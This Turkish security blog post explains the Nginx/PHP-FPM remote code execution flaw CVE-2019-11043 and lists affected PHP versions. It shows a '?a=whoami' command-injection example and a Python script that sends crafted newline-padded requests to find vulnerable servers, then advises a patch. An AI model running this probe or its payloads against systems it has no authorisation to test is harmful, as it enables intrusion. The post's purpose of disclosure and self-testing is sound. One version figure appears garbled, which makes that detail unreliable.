skip to Main Content

PHP-FPM & NGINX RCE(CVE-2019-11043) GÜVELİK ZAFİYETİ! SECURİTY PATCH!

Nginx / PHP-FPM RCE Nedir?

Nginx, web uygulamalarını çalıştırmak için kullanılan yaygın bir web sunucusudur. PHP-FPM (FastCGI Process Manager), yoğun web sitesi trafiğini idare etmede etkili olan ve örneğin; PHP çerçevesine dayanan web forumları veya giriş ağ geçitleri.

Bu güvenlik açığı, Nginx’in verileri PHP-FPM işleyicisine ilettiği varsayılan yoldur. Nginx, URL-yolundan ve sorgu dizesinden bir değişken oluşturur, bu daha sonra PHP-FPM işleyicisi tarafından işlenir. Ve güvenlik zafiyeti de tam olarak burada ortaya çıkıyor. Detayları aşağıda vereceğim 🙂

Etkilenen PHP sürümleri 7.1.3'ün altında 7.1.x, 7.2.24'ün altında 7.2.x ve 7.3.11'in altında 7.3.x'dir.

24 Ekim 2019 tarihin de bulunan bu güvenlik zafiyeti PHP-FPM zehirlenebilir. PHP-FPM bir şekilde “zehirlendiğinde”, URL’ye “?a=whoami” yolu eklenerek isteğe bağlı kod uzak sunucuda çalıştırılabilir. örneğin:

php-zafiyet
php-zafiyet

Ya siteniz de bu zafiyet varsa?

Buraya check videosu bırakıyorum isterseniz kendi sitenizi test edebilirsiniz 🙂

kontrol.py

#!/usr/bin/python
import requests,json
import time
now = int(round(time.time()*1000))
now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(now/1000))
def check_version(url):
    headers = {
    'User-Agent': 'Mozilla/5.0',
    'D-Pisos': '8=D',
    'Ebut': 'mamku tvoyu'
    }
    r = requests.get(url, headers=headers)
    response_str = json.dumps(r.headers.__dict__['_store'])
    if r.status_code == 200 and 'PHP' in response_str and 'nginx' in response_str:
        print
        print ('Server= ' + r.headers.get('Server'))
        print ('X-Powered-By= ' + r.headers.get('X-Powered-By'))
        print ('\n%s Base status code is 200' % now_time)
        check_vuln(url)
    else:
        print (response_str)
def check_vuln(url):
    for i in range(1500,2000):
        url_dir = '/PHP%0Ais_the_shittiest_lang.php?' + 'Q' * i
        vuln_url = url + url_dir
        headers = {
        'User-Agent': 'Mozilla/5.0',
        'D-Pisos': '8=D',
        'Ebut': 'mamku tvoyu'
        }
        r = requests.get(vuln_url, headers=headers)
        if r.status_code == 502:
            print (vuln_url)
            print ('%s Status code 502 for qsl=%s, adding as a candidate' % (now_time,str(i)))
            print ('%s The target is probably vulnerable. Possible QSLs: [ %s ] ' % (now_time, str(i)))
            # print '%s Attack params found: --qsl %s --pisos 165 --skip-detect' % (now_time, str(i))
            print
if __name__ == '__main__':
    # url = 'http://10.10.20.100:8080/index.php'
    url = input("url= ")
    check_version(url)

Patch/Fix

PHP sürümünüzü 7.3.11’e güncelleyin ek olarak başka bir şey yapmanıza gerek yok 🙂

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Back To Top